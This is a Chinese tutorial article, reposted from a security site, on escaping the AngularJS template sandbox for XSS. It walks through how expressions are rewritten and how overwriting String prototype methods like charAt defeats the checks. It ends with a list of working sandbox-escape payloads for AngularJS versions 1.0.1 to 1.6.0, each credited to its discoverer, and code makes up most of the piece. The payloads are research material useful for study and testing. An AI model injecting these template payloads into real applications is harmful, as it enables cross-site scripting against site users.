AngularJs用户输入动态模板XSS攻击示例详解
概述
XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。
前情提要
angularJs通过“{{}}”来作为输出的标志,而对于双括号里面的内容angularJs会计计算并输出结果,我们可以在里面输入JS代码,并且一些语句还能得到执行,这使得我们的XSS有了可能,虽然不能直接写函数表达式,但这并难不住我们的白帽。
沙箱检验
angularJs会对表达式进行重写,并过滤计算输出,比如我们输入
{{1+1}}
在JS中会被转换成
"usestrict"; varfn=function(s,l,a,i){ returnplus(1,1); }; returnfn;
returnfn;这里的返回会被angualrJs执行,angularJs改写这个方法后转换是这样的
"usestrict"; varfn=function(s,l,a,i){ varv0,v1,v2,v3,v4=l&&('constructor'inl), v5; if(!(v4)){ if(s){ v3=s.constructor; } }else{ v3=l.constructor; } ensureSafeObject(v3,text); if(v3!=null){ v2=ensureSafeObject(v3.constructor,text); }else{ v2=undefined; } if(v2!=null){ ensureSafeFunction(v2,text); v5='alert\u00281\u0029'; ensureSafeObject(v3,text); v1=ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029',text)),text); }else{ v1=undefined; } if(v1!=null){ ensureSafeFunction(v1,text); v0=ensureSafeObject(v1(),text); }else{ v0=undefined; } returnv0; }; returnfn;
angularJs会检查每一个输入的参数,ensureSafeObject方法会检验出函数的构造方法,窗口对象,对象,或者对象的构造方法,任意的其中一项被检查出来,表达式都不会执行.angularJs还有ensureSafeMemeberName和ensureSafeFunction来过滤掉方法原型链方法和检查这个指向。
如何逃逸
怎么样能逃过模板的过滤呢,可以让我们输入的模板被角执行,因为angularJs不支持函数输入,我们不可以直接覆盖本地的JS函数。但在字符串对象中找到了漏洞,fromCharCode,则charCode,charAt,由于没有重写这些方法,通过改变本地的js函数,我可以在angularJs调用这些方法的时候为自己开一个后门,将我改写的来覆盖原来的函数。
'a'.constructor.fromCharCode=[].join; 'a'.constructor[0]='\u003ciframeonload=alert(/Backdoored/)\u003e';
formCharCode方法执行的时候内部的this指向的是String对象,通过上面的可指执行语句,我们可以对fromCharCode函数进行覆盖,当在本页面内执行时,比如:
onload=function(){ document.write(String.fromCharCode(97));//会弹出/Backdoored/ }
还可以这样
'a'.constructor.prototype.charCodeAt=[].concat
当angularJs调用charCodeAt函数时,我的代码就被执行到angular源码去了,比如说在这段里面有encodeEntities方法用来对属性和名称做一个过滤然后输出,
if(validAttrs[lkey]===true&&(uriAttrs[lkey]!==true||uriValidator(value,isImage))){ out(''); out(key); out('="'); out(encodeEntities(value));//找的就是encodeEntities out('"'); }
具体的encodeEntities代码如下:
functionencodeEntities(value){ returnvalue. replace(/&/g,'&'). replace(SURROGATE_PAIR_REGEXP,function(value){ varhi=value.charCodeAt(0); varlow=value.charCodeAt(1); return''+(((hi-0xD800)*0x400)+(low-0xDC00)+0x10000)+';'; }). replace(NON_ALPHANUMERIC_REGEXP,function(value){ return''+value.charCodeAt(0)+';';//这里发生了不好事情,我改写了这个方法,可以植入一些恶意代码,并且得到返回输出}). replace(/</g,'<'). replace(/>/g,'>'); }
具体执行
//这是输入代码 {{ 'a'.constructor.prototype.charAt=[].join; $eval('x=""')+'' }} //这是被覆盖影响的代码 "usestrict"; varfn=function(s,l,a,i){ varv5,v6=l&&('x\u003d\u0022\u0022'inl);//被影响的 if(!(v6)){ if(s){ v5=s.x="";//被影响的 } }else{ v5=l.x="";//被影响的 } returnv5; }; fn.assign=function(s,v,l){ varv0,v1,v2,v3,v4=l&&('x\u003d\u0022\u0022'inl);//被影响的 v3=v4?l:s; if(!(v4)){ if(s){ v2=s.x="";//被影响的 } }else{ v2=l.x="";//被影响的 } if(v3!=null){ v1=v; ensureSafeObject(v3.x="",text);//被影响的 v0=v3.x=""=v1;//被影响的 } returnv0; }; returnfn;
{{ 'a'.constructor.prototype.charAt=[].join; $eval('x=alert(1)')+''//注入了alert(1) }} "usestrict"; varfn=function(s,l,a,i){ varv5,v6=l&&('x\u003dalert\u00281\u0029'inl); if(!(v6)){ if(s){ v5=s.x=alert(1); } }else{ v5=l.x=alert(1); } returnv5; }; fn.assign=function(s,v,l){ varv0,v1,v2,v3,v4=l&&('x\u003dalert\u00281\u0029'inl); v3=v4?l:s; if(!(v4)){ if(s){ v2=s.x=alert(1); } }else{ v2=l.x=alert(1); } if(v3!=null){ v1=v; ensureSafeObject(v3.x=alert(1),text); v0=v3.x=alert(1)=v1; } returnv0; }; returnfn;
下面附上一些代码,可以直接结合angularJs验证
不同版本的实现代码以及发现者:
1.0.1-1.1.5 MarioHeiderich(Cure53)
{{constructor.constructor('alert(1)')()}}
1.2.0-1.2.1 JanHorn(Google)
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
1.2.2-1.2.5 GarethHeyes(PortSwigger)
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
1.2.6-1.2.18 JanHorn(Google)
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
1.2.19-1.2.23 MathiasKarlsson
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
1.2.24-1.2.29GarethHeyes(PortSwigger)
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
1.3.0 GáborMolnár(Google)
{{!ready&&(ready=true)&&( !call ?$$watchers[0].get(toString.constructor.prototype) :(a=apply)&& (apply=constructor)&& (valueOf=call)&& (''+''.toString( 'F=Function.prototype;'+ 'F.apply=F.a;'+ 'deleteF.a;'+ 'deleteF.valueOf;'+ 'alert(1);' )) );}}
1.3.1-1.3.2 GarethHeyes(PortSwigger)
{{ {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 'a'.constructor.prototype.charAt=''.valueOf; $eval('x=alert(1)//'); }}
1.3.3-1.3.18 GarethHeyes(PortSwigger)
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 'a'.constructor.prototype.charAt=[].join; $eval('x=alert(1)//');}}
1.3.19 GarethHeyes(PortSwigger)
{{ 'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; $eval('x=alert(1)//'); }}
1.3.20 GarethHeyes(PortSwigger)
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
1.4.0-1.4.9 GarethHeyes(PortSwigger)
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1}}};alert(1)//');}}
1.5.0-1.5.8 IanHickey
{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)');}}
1.5.9-1.5.11 JanHorn(Google)
{{ c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.$apply=$apply;c.$eval=b;op=$root.$$phase; $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=od; B=C(b,c,b);$evalAsync(" astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,alert(1)))+'; astNode.argument={type:'Identifier',name:'foo'}; "); m1=B($$asyncQueue.pop().expression,null,$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; $eval('a(b.c)');[].push.apply=a; }}
=1.6.0MarioHeiderich(Cure53)
{{constructor.constructor('alert(1)')()}}
转自:https://pockr.org/activity/detail?activity_no=act_017d460d4e5988dad2
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,如果有疑问大家可以留言交流,谢谢大家对毛票票的支持。